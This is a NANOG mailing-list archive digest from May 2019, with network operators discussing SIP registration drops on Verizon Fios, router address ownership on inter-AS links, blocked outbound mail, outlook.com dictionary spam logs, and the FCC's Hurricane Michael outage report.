CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > > > ------------------------------ > > CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Mon May 13 15:38:53 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Mon, 13 May 2019 09:38:53 -0600 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: References: Message-ID: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> On 5/13/2019 9:21 AM, Dovid Bender wrote: > Hi, > > Over the last 48 hours we have been getting a lot of alerts of customers > phones losing registrations to us. All the complaints are coming from > customers that are on VZ Fios in the NYC area. Anyone else see anything > strange going on? > While you are diagnosing, might check to make sure that the SIP ALG is disabled on all of their routers too. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From morrowc.lists at gmail.com Mon May 13 15:51:58 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 13 May 2019 11:51:58 -0400 Subject: Ownership of Routers on Both Ends of Transnational Links In-Reply-To: References: Message-ID: On Mon, May 13, 2019 at 11:38 AM Pengxiong Zhu wrote: > > Thanks again for your insightful responses! > > The case we discuss above is Chinese ISPs renting routers located outside China and the IPs belong to other ISPs. > I think you are using all of the wrong verbs here... 'renting' does not make sense here, I'm unclear on what you actually mean, please try again with a different verb OR more clarifying text. \ From dovid at telecurve.com Mon May 13 16:20:10 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 13 May 2019 12:20:10 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> Message-ID: Thought of that. Customers have their own CPE's. So far the only thing mutual here is that it's NTT -> VZ. Here is what I found so far looking at two Polycom phones using non standard ports (e.g. not 5060) 1) PhoneA tries to register multiple extensions and for each request we send a 401. We expect to get back a REGISTER request with a no-once but we don't. This happens for a while and then magically it starts working. 2) PhoneB tries to register the time time as PhoneA and has no issues. At first I thought it was something possibly with the SIP call-ID but I ruled that out since in the same SIP DIALOG it was not working then it started. Also the seems to be per phone each phone is behind NAT and the traffic is coming from a different NAT'd port. Seems like there is some device in the middle that is randomly dropping traffic on specific sessions. On Mon, May 13, 2019 at 11:40 AM Brielle Bruns wrote: > On 5/13/2019 9:21 AM, Dovid Bender wrote: > > Hi, > > > > Over the last 48 hours we have been getting a lot of alerts of customers > > phones losing registrations to us. All the complaints are coming from > > customers that are on VZ Fios in the NYC area. Anyone else see anything > > strange going on? > > > > > While you are diagnosing, might check to make sure that the SIP ALG is > disabled on all of their routers too. > > > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From pzhu011 at ucr.edu Mon May 13 16:31:23 2019 From: pzhu011 at ucr.edu (Pengxiong Zhu) Date: Mon, 13 May 2019 09:31:23 -0700 Subject: Ownership of Routers on Both Ends of Transnational Links In-Reply-To: References: Message-ID: Sorry for the confusion. I mean the IPs belong to non-Chinese ISPs but are actually controlled/managed by Chinese ISPs. Best, Pengxiong Zhu Department of Computer Science and Engineering University of California, Riverside On Mon, May 13, 2019 at 8:52 AM Christopher Morrow wrote: > On Mon, May 13, 2019 at 11:38 AM Pengxiong Zhu wrote: > > > > Thanks again for your insightful responses! > > > > The case we discuss above is Chinese ISPs renting routers located > outside China and the IPs belong to other ISPs. > > > > I think you are using all of the wrong verbs here... 'renting' does > not make sense here, I'm unclear on what you actually mean, please try > again with a different verb OR more clarifying text. > \ > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Mon May 13 16:48:17 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Mon, 13 May 2019 10:48:17 -0600 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> Message-ID: <361d0ac7-c356-dbbf-b40b-d75536da8080@2mbit.com> On 5/13/2019 10:20 AM, Dovid Bender wrote: > Thought of that. Customers have their own CPE's. So far the only thing > mutual here is that it's NTT -> VZ. Here is what I found so far looking > at two Polycom phones using non standard ports (e.g. not 5060) > 1) PhoneA tries to register multiple extensions and for each request we > send a 401. We expect to get back a REGISTER request with a no-once but > we don't. This happens for a while and then magically it starts working. > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > At first I thought it was something possibly with the SIP call-ID but I > ruled that out since in the same SIP DIALOG it was not working then it > started. Also the seems to be per phone each phone is behind NAT and the > traffic is coming from a different NAT'd port. Seems like there is some > device in the middle that is randomly dropping traffic on specific sessions. Are you using TLS encrypted SIP or just plain ol' cleartext? If its encrypted, I'd look at possibly there being a MTU/MSS issue somewhere along the path possibly? -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From dovid at telecurve.com Mon May 13 17:04:45 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 13 May 2019 13:04:45 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: <361d0ac7-c356-dbbf-b40b-d75536da8080@2mbit.com> References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> <361d0ac7-c356-dbbf-b40b-d75536da8080@2mbit.com> Message-ID: Good ol UDP encrypted. On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: > > On 5/13/2019 10:20 AM, Dovid Bender wrote: > > Thought of that. Customers have their own CPE's. So far the only thing > > mutual here is that it's NTT -> VZ. Here is what I found so far looking > > at two Polycom phones using non standard ports (e.g. not 5060) > > 1) PhoneA tries to register multiple extensions and for each request we > > send a 401. We expect to get back a REGISTER request with a no-once but > > we don't. This happens for a while and then magically it starts working. > > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > > > At first I thought it was something possibly with the SIP call-ID but I > > ruled that out since in the same SIP DIALOG it was not working then it > > started. Also the seems to be per phone each phone is behind NAT and the > > traffic is coming from a different NAT'd port. Seems like there is some > > device in the middle that is randomly dropping traffic on specific > sessions. > > > Are you using TLS encrypted SIP or just plain ol' cleartext? > > If its encrypted, I'd look at possibly there being a MTU/MSS issue > somewhere along the path possibly? > > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Mon May 13 17:40:11 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 13 May 2019 13:40:11 -0400 Subject: Ownership of Routers on Both Ends of Transnational Links In-Reply-To: References: Message-ID: On Mon, May 13, 2019 at 12:31 PM Pengxiong Zhu wrote: > > Sorry for the confusion. I mean the IPs belong to non-Chinese ISPs but are actually controlled/managed by Chinese ISPs. > this is, as I think was said earlier, normal practice. Sometimes you accept a /31 from your "provider" or "peer", sometimes they accept yours... sometimes this is because of seasons/reasons/etc, sometimes because it's how folk denote who's paying for the link in between. Those ips are not useful as a signal, which I think was also said previously in this thread. > Best, > Pengxiong Zhu > Department of Computer Science and Engineering > University of California, Riverside > > > On Mon, May 13, 2019 at 8:52 AM Christopher Morrow wrote: >> >> On Mon, May 13, 2019 at 11:38 AM Pengxiong Zhu wrote: >> > >> > Thanks again for your insightful responses! >> > >> > The case we discuss above is Chinese ISPs renting routers located outside China and the IPs belong to other ISPs. >> > >> >> I think you are using all of the wrong verbs here... 'renting' does >> not make sense here, I'm unclear on what you actually mean, please try >> again with a different verb OR more clarifying text. >> \ From dovid at telecurve.com Mon May 13 18:32:37 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 13 May 2019 14:32:37 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> <361d0ac7-c356-dbbf-b40b-d75536da8080@2mbit.com> Message-ID: FYI: More than one person reached out to me off list. The issue is clearly with VZ. Traces by the others were done and NTT was not in the mix. The only common denominator was 401 SIP packets hitting VZ Fios IP's in the NY area. On Mon, May 13, 2019 at 1:04 PM Dovid Bender wrote: > Good ol UDP encrypted. > > > > On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: > >> >> On 5/13/2019 10:20 AM, Dovid Bender wrote: >> > Thought of that. Customers have their own CPE's. So far the only thing >> > mutual here is that it's NTT -> VZ. Here is what I found so far looking >> > at two Polycom phones using non standard ports (e.g. not 5060) >> > 1) PhoneA tries to register multiple extensions and for each request we >> > send a 401. We expect to get back a REGISTER request with a no-once but >> > we don't. This happens for a while and then magically it starts working. >> > 2) PhoneB tries to register the time time as PhoneA and has no issues. >> > >> > At first I thought it was something possibly with the SIP call-ID but I >> > ruled that out since in the same SIP DIALOG it was not working then it >> > started. Also the seems to be per phone each phone is behind NAT and >> the >> > traffic is coming from a different NAT'd port. Seems like there is some >> > device in the middle that is randomly dropping traffic on specific >> sessions. >> >> >> Are you using TLS encrypted SIP or just plain ol' cleartext? >> >> If its encrypted, I'd look at possibly there being a MTU/MSS issue >> somewhere along the path possibly? >> >> >> -- >> Brielle Bruns >> The Summit Open Source Development Group >> http://www.sosdg.org / http://www.ahbl.org >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Mon May 13 18:43:45 2019 From: jared at puck.nether.net (Jared Mauch) Date: Mon, 13 May 2019 14:43:45 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> <361d0ac7-c356-dbbf-b40b-d75536da8080@2mbit.com> Message-ID: <3B38B91F-EF60-4838-BA72-DF8EA3691749@puck.nether.net> This matches my experience with running SIP on networks. Slowly over the years it became more unreliable as “helper” ALGs were in the path. Eventually we moved some devices off 5060 to alleviate the problem. Sent from my iCar > On May 13, 2019, at 2:32 PM, Dovid Bender wrote: > > FYI: More than one person reached out to me off list. The issue is clearly with VZ. Traces by the others were done and NTT was not in the mix. The only common denominator was 401 SIP packets hitting VZ Fios IP's in the NY area. > > > >> On Mon, May 13, 2019 at 1:04 PM Dovid Bender wrote: >> Good ol UDP encrypted. >> >> >> >>> On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: >>> >>> On 5/13/2019 10:20 AM, Dovid Bender wrote: >>> > Thought of that. Customers have their own CPE's. So far the only thing >>> > mutual here is that it's NTT -> VZ. Here is what I found so far looking >>> > at two Polycom phones using non standard ports (e.g. not 5060) >>> > 1) PhoneA tries to register multiple extensions and for each request we >>> > send a 401. We expect to get back a REGISTER request with a no-once but >>> > we don't. This happens for a while and then magically it starts working. >>> > 2) PhoneB tries to register the time time as PhoneA and has no issues. >>> > >>> > At first I thought it was something possibly with the SIP call-ID but I >>> > ruled that out since in the same SIP DIALOG it was not working then it >>> > started. Also the seems to be per phone each phone is behind NAT and the >>> > traffic is coming from a different NAT'd port. Seems like there is some >>> > device in the middle that is randomly dropping traffic on specific sessions. >>> >>> >>> Are you using TLS encrypted SIP or just plain ol' cleartext? >>> >>> If its encrypted, I'd look at possibly there being a MTU/MSS issue >>> somewhere along the path possibly? >>> >>> >>> -- >>> Brielle Bruns >>> The Summit Open Source Development Group >>> http://www.sosdg.org / http://www.ahbl.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Mon May 13 18:44:40 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 13 May 2019 14:44:40 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: <3B38B91F-EF60-4838-BA72-DF8EA3691749@puck.nether.net> References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> <361d0ac7-c356-dbbf-b40b-d75536da8080@2mbit.com> <3B38B91F-EF60-4838-BA72-DF8EA3691749@puck.nether.net> Message-ID: In our case we are not using 5060. The issue seems exclusive to VZ. On Mon, May 13, 2019 at 2:43 PM Jared Mauch wrote: > This matches my experience with running SIP on networks. Slowly over the > years it became more unreliable as “helper” ALGs were in the path. > > Eventually we moved some devices off 5060 to alleviate the problem. > > Sent from my iCar > > On May 13, 2019, at 2:32 PM, Dovid Bender wrote: > > FYI: More than one person reached out to me off list. The issue is clearly > with VZ. Traces by the others were done and NTT was not in the mix. The > only common denominator was 401 SIP packets hitting VZ Fios IP's in the NY > area. > > > > On Mon, May 13, 2019 at 1:04 PM Dovid Bender wrote: > >> Good ol UDP encrypted. >> >> >> >> On Mon, May 13, 2019 at 12:49 PM Brielle Bruns wrote: >> >>> >>> On 5/13/2019 10:20 AM, Dovid Bender wrote: >>> > Thought of that. Customers have their own CPE's. So far the only thing >>> > mutual here is that it's NTT -> VZ. Here is what I found so far >>> looking >>> > at two Polycom phones using non standard ports (e.g. not 5060) >>> > 1) PhoneA tries to register multiple extensions and for each request >>> we >>> > send a 401. We expect to get back a REGISTER request with a no-once >>> but >>> > we don't. This happens for a while and then magically it starts >>> working. >>> > 2) PhoneB tries to register the time time as PhoneA and has no issues. >>> > >>> > At first I thought it was something possibly with the SIP call-ID but >>> I >>> > ruled that out since in the same SIP DIALOG it was not working then it >>> > started. Also the seems to be per phone each phone is behind NAT and >>> the >>> > traffic is coming from a different NAT'd port. Seems like there is >>> some >>> > device in the middle that is randomly dropping traffic on specific >>> sessions. >>> >>> >>> Are you using TLS encrypted SIP or just plain ol' cleartext? >>> >>> If its encrypted, I'd look at possibly there being a MTU/MSS issue >>> somewhere along the path possibly? >>> >>> >>> -- >>> Brielle Bruns >>> The Summit Open Source Development Group >>> http://www.sosdg.org / http://www.ahbl.org >>> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From prohrman at stage2networks.com Mon May 13 17:52:11 2019 From: prohrman at stage2networks.com (Pete Rohrman) Date: Mon, 13 May 2019 13:52:11 -0400 Subject: Issues with SIP packets between VZ Fios and NTT In-Reply-To: References: <98cf5423-4167-2242-62f7-782a9c500c18@2mbit.com> Message-ID: <688fc03b-8ab8-3380-7652-dadb15202d23@stage2networks.com> Dovid Bender, I'm seeing the  same sort of thing.  Polycom phones.   Multiple customers getting to me from Verizon in NYC area.  I'm seeing phones register for a while, then drop off, then I see them trying to re-reg resulting in your 401 below. Call me.  212 497 8015.  Let's look at this. Pete Pete Rohrman Stage2 Support 212 497 8000, Opt. 2 On 5/13/19 12:20 PM, Dovid Bender wrote: > Thought of that. Customers have their own CPE's. So far the only thing > mutual here is that it's NTT -> VZ. Here is what I found so far > looking at two Polycom phones using non standard ports (e.g. not 5060) > 1) PhoneA tries to register multiple extensions and for each request > we send a 401. We expect to get back a REGISTER request with a no-once > but we don't. This happens for a while and then magically it starts > working. > 2) PhoneB tries to register the time time as PhoneA and has no issues. > > At first I thought it was something possibly with the SIP call-ID but > I ruled that out since in the same SIP DIALOG it was not working then > it started. Also the seems to be per phone each phone is behind NAT > and the traffic is coming from a different NAT'd port. Seems like > there is some device in the middle that is randomly dropping traffic > on specific sessions. > > > > > > On Mon, May 13, 2019 at 11:40 AM Brielle Bruns > wrote: > > On 5/13/2019 9:21 AM, Dovid Bender wrote: > > Hi, > > > > Over the last 48 hours we have been getting a lot of alerts of > customers > > phones losing registrations to us. All the complaints are coming > from > > customers that are on VZ Fios in the NYC area. Anyone else see > anything > > strange going on? > > > > > While you are diagnosing, might check to make sure that the SIP > ALG is > disabled on all of their routers too. > > > > -- > Brielle Bruns > The Summit Open Source Development Group > http://www.sosdg.org   / http://www.ahbl.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From daniel at pyranah.com Mon May 13 19:11:03 2019 From: daniel at pyranah.com (daniel at pyranah.com) Date: Mon, 13 May 2019 15:11:03 -0400 Subject: Charter and Cox contacts Message-ID: <052201d509bf$9c000c30$d4002490$@pyranah.com> Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, our IP has been blocked by them and our customers are unable to send email via their charter/cox accounts. Thanks Daniel Temple VP of Operations Pyranah Communications, LLC 828-743-2470 ext.205 Pyranah.com Like us on Facebook! -------------- next part -------------- An HTML attachment was scrubbed... URL: From bzs at theworld.com Mon May 13 21:39:39 2019 From: bzs at theworld.com (bzs at theworld.com) Date: Mon, 13 May 2019 17:39:39 -0400 Subject: Mostly name and shame... Message-ID: <23769.58395.683601.559454@gargle.gargle.HOWL> Why has OUTLOOK.COM allowed daily dictionary spammers to operate from their net, FOR YEARS? It can't be that hard to detect and block. 2019-05-13T17:00:18.194103-04:00 pcls6 sendmail[14128]: NOUSER: proctor5 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:00:18.444848-04:00 pcls6 sendmail[14128]: NOUSER: proctor4 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:00:18.698977-04:00 pcls6 sendmail[14128]: NOUSER: proctor2 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:00:18.952548-04:00 pcls6 sendmail[14128]: NOUSER: proctor10 relay=mail-eopbgr740053.outbound.protection.outlook.com [40.107.74.53] 2019-05-13T17:10:27.523597-04:00 pcls6 sendmail[19471]: NOUSER: proctor6 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:27.775984-04:00 pcls6 sendmail[19471]: NOUSER: proctor5 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:28.029744-04:00 pcls6 sendmail[19471]: NOUSER: proctor4 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:28.283016-04:00 pcls6 sendmail[19471]: NOUSER: proctor2 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:10:28.537106-04:00 pcls6 sendmail[19471]: NOUSER: proctor10 relay=mail-eopbgr810043.outbound.protection.outlook.com [40.107.81.43] 2019-05-13T17:30:47.045677-04:00 pcls6 sendmail[31621]: NOUSER: proctor6 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:47.299131-04:00 pcls6 sendmail[31621]: NOUSER: proctor5 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:47.552492-04:00 pcls6 sendmail[31621]: NOUSER: proctor4 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:47.804233-04:00 pcls6 sendmail[31621]: NOUSER: proctor2 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:30:48.056635-04:00 pcls6 sendmail[31621]: NOUSER: proctor10 relay=mail-eopbgr810072.outbound.protection.outlook.com [40.107.81.72] 2019-05-13T17:35:05.867715-04:00 pcls6 sendmail[1352]: NOUSER: proctor9 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.120021-04:00 pcls6 sendmail[1352]: NOUSER: proctor7 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.372603-04:00 pcls6 sendmail[1352]: NOUSER: proctor6 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.627583-04:00 pcls6 sendmail[1352]: NOUSER: proctor5 relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] 2019-05-13T17:35:06.885218-04:00 pcls6 sendmail[1352]: NOUSER: proctor relay=mail-eopbgr50127.outbound.protection.outlook.com [40.107.5.127] etc etc etc etc. -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* From randy at psg.com Mon May 13 21:53:01 2019 From: randy at psg.com (Randy Bush) Date: Mon, 13 May 2019 14:53:01 -0700 Subject: Ownership of Routers on Both Ends of Transnational Links In-Reply-To: References: Message-ID: i suspect the OP is down the rabbit hole of what is known as "anti-aliasing," trying to find out whether IP address A on some router is actually on the same router as IP address B, and what AS(s) those IPs are in. your point is that an inter-as link may have IPs from either of the providers. yup. and, because it is an INTER-as link, it does not really belong to one or t'other. this particular rabbit digs deep holes. an early entrance to the burrow is the classic from the uw crew inproceedings{Spring:2002:MIT:633025.633039, author = {Spring, Neil and Mahajan, Ratul and Wetherall, David}, title = {Measuring ISP Topologies with Rocketfuel}, booktitle = {Proceedings of the 2002 Conference on Applications, Technologies, Architectures, and Protocols for Computer Communications}, series = {SIGCOMM '02}, year = {2002}, isbn = {1-58113-570-X}, location = {Pittsburgh, Pennsylvania, USA}, pages = {133--145}, numpages = {13}, url = {http://doi.acm.org/10.1145/633025.633039}, doi = {10.1145/633025.633039}, acmid = {633039}, publisher = {ACM}, address = {New York, NY, USA}, } randy From list at satchell.net Mon May 13 22:29:43 2019 From: list at satchell.net (Stephen Satchell) Date: Mon, 13 May 2019 15:29:43 -0700 Subject: Charter and Cox contacts In-Reply-To: <052201d509bf$9c000c30$d4002490$@pyranah.com> References: <052201d509bf$9c000c30$d4002490$@pyranah.com> Message-ID: <1d87ab31-ab93-d69b-be66-c29bf97dedb8@satchell.net> On 5/13/19 12:11 PM, daniel at pyranah.com wrote: > Does anyone have contacts at Charter (Spectrum) and Cox? For some reason, > our IP has been blocked by them and our customers are unable to send email > via their charter/cox accounts. Thanks Would you be talking about port 25/tcp outbound? Lots of ISPs will block port 25 as a rule; you have to call to have it opened. At the same time, you can request the PTR record you need to keep big mail receivers happy. From frnkblk at iname.com Tue May 14 04:48:02 2019 From: frnkblk at iname.com (frnkblk at iname.com) Date: Mon, 13 May 2019 23:48:02 -0500 Subject: FCC Hurricane Michael after-action report In-Reply-To: References: , Message-ID: <003e01d50a10$36d52330$a47f6990$@iname.com> This webinar may be of some interest to those in this group: https://www.fcc.gov/small-rural-communications-provider-network-resiliency-webinar Here’s some additional color commentary on the FCC’s concerns: https://urgentcomm.com/2019/05/10/backhaul-problems-disjointed-recovery-efforts-key-causes-of-unacceptable-extended-wireless-outage-after-hurricane-michael-fcc-report-says/ "“Uniti Fiber (Uniti) provides backhaul services to Verizon Wireless in Bay and Gulf Counties. Uniti indicates it experienced at least 33 separate fiber cuts during the recovery effort. These fiber cuts included damage to sections that already had been repaired. Commenters attributed fiber cuts to debris-removal crews, power-company restorations, and returning homeowners clearing their property.” One of my takeaways from that article was that burying fiber underground could likely have avoided many/most of these fiber cuts, though I’m not familiar enough with the terrain to know how feasible that is. Frank From: NANOG On Behalf Of Mel Beckman Sent: Saturday, May 11, 2019 9:52 AM To: Mike Bolitho Cc: nanog at nanog.org Subject: Re: FCC Hurricane Michael after-action report This is what I tell outage complainers during natural disasters, such as the fires in California that recently took out a lot of power and communications: “Stop whining about how long it is taking to repair your Internet, your cell phone service, or your cable TV. You didn’t pay anything extra to recover from natural disasters, and none of us in the field are getting paid anything extra to restore your services. No, we don’t know how long it will take. It takes what it takes. That you don’t get instant gratification doesn’t make us incompetent. It makes you ungrateful. It’s a natural disaster. These are not scheduled. Your outage is nobody’s fault. We don’t have a duty to mitigate all conceivable failures. It takes time to repair. We’re not cheating you, or loafing around. We don’t owe you any special attention because of your status or reputation. So quit whining and be thankful you’re alive, and hopefully you haven’t lost too much. Maybe pitch in and help those who have.“ I also send this to ignorant journalists and grandstanding politicians. -mel via cell On May 11, 2019, at 4:29 AM, Mike Bolitho > wrote: Trying not to get political, here goes... Something important to keep in mind: The current administration has been getting slammed for their lack of response in the aftermath of Michael since the hurricane hit. A lot of that criticism revolves around communications infrastructure and FEMA's lack of assistance. The current administration has, time and time again, used federal agencies (specifically their presidential appointees) to defend the administration's actions or inactions. I have read the full report and it is more or less a thinly veiled hit piece. I'm not going to link them here (they are easy enough to find via Google) but there are several very good articles written by reputable tech journalists that go into greater detail responding to the report. Worth checking out. I say all of that because most of us like to hate on telecom companies (many times rightly so) but I don't think they are entirely to blame here. There's nothing Verizon or AT&T can do if their backhaul is cut by a tree or some third party clean up crew. The report is a gross oversimplification of how telecommunication infrastructure works. I think anyone here that has ever worked a storm like this can attest to the complexity and difficulty you run into during recovery. Hanlon's Razor and all but this is the FCC and I would hope they would know better. Speaking specifically to point 51, it's impossible to coordinate between the thousands of crews working to clean things up and repair physical infrastructure after a massive storm like this. Many of the people doing physical cleanup are volunteers that are fully independent of any governing body or company. It is not a telco's responsibility to know when and where those crews are working. Further, even if those crews we're calling in and letting each telco know exactly where they were, what does that provide other than an impossibly large and fluid dataset to parse for any meaningful information. - Mike Bolitho On Thu, May 9, 2019, 4:43 PM Sean Donelan wrote: The FCC has released its report and analysis of Hurricane Michael impact on communications: preparation, effect and recovery. https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 Conclusions and Recommendations 51. Backhaul outages loomed large as an impediment to communications recovery. Uncoordinated post-storm recovery efforts between and among communications, utility, and debris removal teams created unnecessary delays to a speedy return to service. Customers who had communications service restored – only to lose it again almost immediately because of a fiber cut – provide a clear example of how better cross-sector coordination could have improved the restoration process. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mikebolitho at gmail.com Tue May 14 05:20:22 2019 From: mikebolitho at gmail.com (Mike Bolitho) Date: Mon, 13 May 2019 22:20:22 -0700 Subject: FCC Hurricane Michael after-action report In-Reply-To: <003e01d50a10$36d52330$a47f6990$@iname.com> References: <003e01d50a10$36d52330$a47f6990$@iname.com> Message-ID: In Florida, especially the panhandle, it's not possible to bury it. The water table is way too high. On Mon, May 13, 2019, 9:47 PM wrote: > This webinar may be of some interest to those in this group: > > > https://www.fcc.gov/small-rural-communications-provider-network-resiliency-webinar > > > > Here’s some additional color commentary on the FCC’s concerns: > > > https://urgentcomm.com/2019/05/10/backhaul-problems-disjointed-recovery-efforts-key-causes-of-unacceptable-extended-wireless-outage-after-hurricane-michael-fcc-report-says/ > > "“Uniti Fiber (Uniti) provides backhaul services to Verizon Wireless in > Bay and Gulf Counties. Uniti indicates it experienced at least 33 separate > fiber cuts during the recovery effort. These fiber cuts included damage to > sections that already had been repaired. Commenters attributed fiber cuts > to debris-removal crews, power-company restorations, and returning > homeowners clearing their property.” > > One of my takeaways from that article was that burying fiber underground > could likely have avoided many/most of these fiber cuts, though I’m not > familiar enough with the terrain to know how feasible that is. > > Frank > > > > *From:* NANOG *On Behalf Of *Mel Beckman > *Sent:* Saturday, May 11, 2019 9:52 AM > *To:* Mike Bolitho > *Cc:* nanog at nanog.org > *Subject:* Re: FCC Hurricane Michael after-action report > > > > This is what I tell outage complainers during natural disasters, such as > the fires in California that recently took out a lot of power and > communications: > > > > “Stop whining about how long it is taking to repair your Internet, your > cell phone service, or your cable TV. You didn’t pay anything extra to > recover from natural disasters, and none of us in the field are getting > paid anything extra to restore your services. > > > > No, we don’t know how long it will take. It takes what it takes. That you > don’t get instant gratification doesn’t make us incompetent. It makes you > ungrateful. > > > > It’s a natural disaster. These are not scheduled. Your outage is nobody’s > fault. We don’t have a duty to mitigate all conceivable failures. > > > > It takes time to repair. We’re not cheating you, or loafing around. We > don’t owe you any special attention because of your status or reputation. > > > > So quit whining and be thankful you’re alive, and hopefully you haven’t > lost too much. Maybe pitch in and help those who have.“ > > > > I also send this to ignorant journalists and grandstanding politicians. > > -mel via cell > > > On May 11, 2019, at 4:29 AM, Mike Bolitho wrote: > > Trying not to get political, here goes... > > > > Something important to keep in mind: The current administration has been > getting slammed for their lack of response in the aftermath of Michael > since the hurricane hit. A lot of that criticism revolves around > communications infrastructure and FEMA's lack of assistance. The current > administration has, time and time again, used federal agencies > (specifically their presidential appointees) to defend the administration's > actions or inactions. I have read the full report and it is more or less a > thinly veiled hit piece. I'm not going to link them here (they are easy > enough to find via Google) but there are several very good articles written > by reputable tech journalists that go into greater detail responding to the > report. Worth checking out. > > > > I say all of that because most of us like to hate on telecom companies > (many times rightly so) but I don't think they are entirely to blame here. > There's nothing Verizon or AT&T can do if their backhaul is cut by a tree > or some third party clean up crew. The report is a gross oversimplification > of how telecommunication infrastructure works. I think anyone here that has > ever worked a storm like this can attest to the complexity and difficulty > you run into during recovery. Hanlon's Razor and all but this is the FCC > and I would hope they would know better. > > > > Speaking specifically to point 51, it's impossible to coordinate between > the thousands of crews working to clean things up and repair physical > infrastructure after a massive storm like this. Many of the people doing > physical cleanup are volunteers that are fully independent of any governing > body or company. It is not a telco's responsibility to know when and where > those crews are working. Further, even if those crews we're calling in and > letting each telco know exactly where they were, what does that provide > other than an impossibly large and fluid dataset to parse for any > meaningful information. > > > > - Mike Bolitho > > > > On Thu, May 9, 2019, 4:43 PM Sean Donelan wrote: > > > The FCC has released its report and analysis of Hurricane Michael impact > on communications: preparation, effect and recovery. > > > > https://www.fcc.gov/document/fcc-releases-report-communication-impacts-hurricane-michael-0 > > Conclusions and Recommendations > > 51. Backhaul outages loomed large as an impediment to communications > recovery. Uncoordinated post-storm recovery efforts between and among > communications, utility, and debris removal teams created unnecessary > delays to a speedy return to service. Customers who had communications > service restored – only to lose it again almost immediately because of a > fiber cut – provide a clear example of how better cross-sector > coordination could have improved the restoration process. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From saku at ytti.fi Tue May 14 06:03:30 2019 